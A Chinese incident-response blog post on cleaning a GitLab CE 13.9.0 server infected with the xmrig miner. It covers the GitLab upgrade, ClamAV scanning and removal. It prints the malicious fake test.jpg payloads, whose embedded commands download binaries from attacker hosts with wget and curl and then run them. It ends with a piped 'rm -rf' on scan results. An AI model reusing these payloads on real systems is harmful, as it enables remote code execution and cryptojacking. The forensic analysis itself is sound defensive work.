作者:田逸(formyz)
江湖救急,一老友告知,一运行Gitlab的主机负载很高,并且把整个出口带宽都耗尽了,希帮忙处理。根据经验,直接答复“很可能被挖矿了”。在取得系统权限以后,登录到该系统。
查看系统进程,除了发现挖矿进程“xmrig”外,还有两个命名怪异的进程“diofiglos”与“cacascqw”。试着用kill指令绞杀挖矿进程“xmrig”,杀掉一个又再启动一个,无法消灭之。是不是有自动任务在时刻在探测挖矿进程是否处于运行状态呢?查看Crond配置,未有发现。
该系统运行环境为Gitlab,版本号为Gitlab-ce-13.9.0-ce,以此版本号为关键字,在搜索引擎里进行查找,果然有问题。
进一步了解到Gitlab-ce-13.9这个版本确实受到影响,需要升级到更高的版本才可以堵住漏洞。在征得同意之后,我就对这个Gitlab-ce-13.9进行升级,一步步升级到Gitlab-ce-14.9.2-ce.0.el7.x86_64(Gitlab升级需要一个版本一个版本的生,不能跨越,有点奇葩)。
靠手工清除木\马,比较困难,这里我们请出大名鼎鼎的Clamav来帮忙。在Centos 7下,如果没有安装clamav,可在系统命令行下执行如下指令进行安装:
yum install epel-release
yum install clamav
Clamav安装好以后,必须对病\毒库进行更新方可进行扫描操作。因病\毒库服务器位于海外,执行指令“freshclam”更新速度可能比较耗时,请耐心等待。更新正确完成以后,就可以执行如下指令进行全系统扫描:
clamscan -I –r / -l /var/log/clamscan.log
扫描系统,根据服务器性能,花费的时间可能差异较大,总之,是非常耗时的,建议将其放在“screen”里进行,然后该睡觉就去睡觉,该干别的就干别的去。当然,也可以时不时查看扫描日志文件”/var/log/clamscan.log”了解是否发现木\马。等系统扫描完毕后,果然中招了。
从日志输出可明确判断,木\马一定是利用Gitlab漏洞钻进来的。挂马者很狡猾,把目录命名为中横线“-”,如果不仔细点,还不好处理。
不让你进这个“-”目录,有点水平呢。要想进目录或者查看木\马文件,用鼠标复制粘贴,就可以绕过这个怪异的命名为横杠的目录“-”。来,我们打开那个伪造的图片文件test.jpg,看看这个李鬼是什么情况。
[root@localhost 60f6fdba34ae3c75a4e36d018818517c]# pwd
/var/opt/gitlab/gitlab-rails/uploads/-/system/temp/60f6fdba34ae3c75a4e36d018818517c
[root@localhost 60f6fdba34ae3c75a4e36d018818517c]# more test.jpg
AT&TFORM
FORM
(Copyright "\
" . qx{ wget http://c3.killip.xyz/dabitlogs | curl http://c3.killip.xyz/dabitlogs -o dabitlogs | chmod 777 dabitlogs
| nohup ./dabitlogs | wget http://c3.killip.xyz/diofiglos | curl http://c3.killip.xyz/diofiglos -o diofiglos | chmod
777 diofiglos | nohup ./diofiglos } . \
" b ") )
[root@localhost b65777950e1ac8436df45274934c14b1]# pwd
/var/opt/gitlab/gitlab-rails/uploads/-/system/temp/b65777950e1ac8436df45274934c14b1
[root@localhost b65777950e1ac8436df45274934c14b1]# more test.jpg
AT&TFORM
FORM
(Copyright "\
" . qx{wget http://182.87.223.30:9999/cacascqw;chmod 777 cacascqw;./cacascqw;curl http://182.87.223.30:9999/cacascqw
--silent -O;chmod 777 cacascqw;./cacascqw} . \
" b ") )
通过查看伪造成jpg图像文件的木\马程序,跟系统里的命名古怪的进程对应上了。试着杀掉这两个进程,然后再杀挖矿进程“xmrig”,终于消停了。
最后,系统命令行运行如下指令,彻底删除扫描出来的木\马:
[root@localhost ~]# grep FOUND /var/log/clamscan.log |awk -F [:] '{print $1}'| xargs rm -rf